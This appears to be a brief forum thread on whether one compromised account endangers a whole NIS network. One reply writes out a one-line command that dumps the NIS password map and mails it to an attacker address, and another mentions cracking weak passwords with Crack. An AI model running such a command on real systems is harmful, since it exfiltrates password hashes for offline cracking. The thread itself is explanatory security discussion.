10/12 Is is true that if a user account is comprmised on a network of computers
running NIS, the entire network of computers running NIS are compromised?
\_ It will allow people to "ypcat passwd | mail someone@evil.org",
which should be considered a problem. This is probably what whoever
said that was thinking of.
\-well, that isnt really enough info to make any guesses but
my guess would be "if the user can log into one NIS client,
the login in probably valid on other clients which would need
to be checked out". the more involved question is "if someome
breaks root on a NIS client, what are the implications for the
whole domain". --psb
\_ Not "enough info to make any guesses"? The quality of
users' password choices has not gotten any better over time,
and Crack still works (even better, now that computers are
faster).
\-i mean the poster hasnt provided enough info for an
answer ... we cant really guess what the question means. --psb |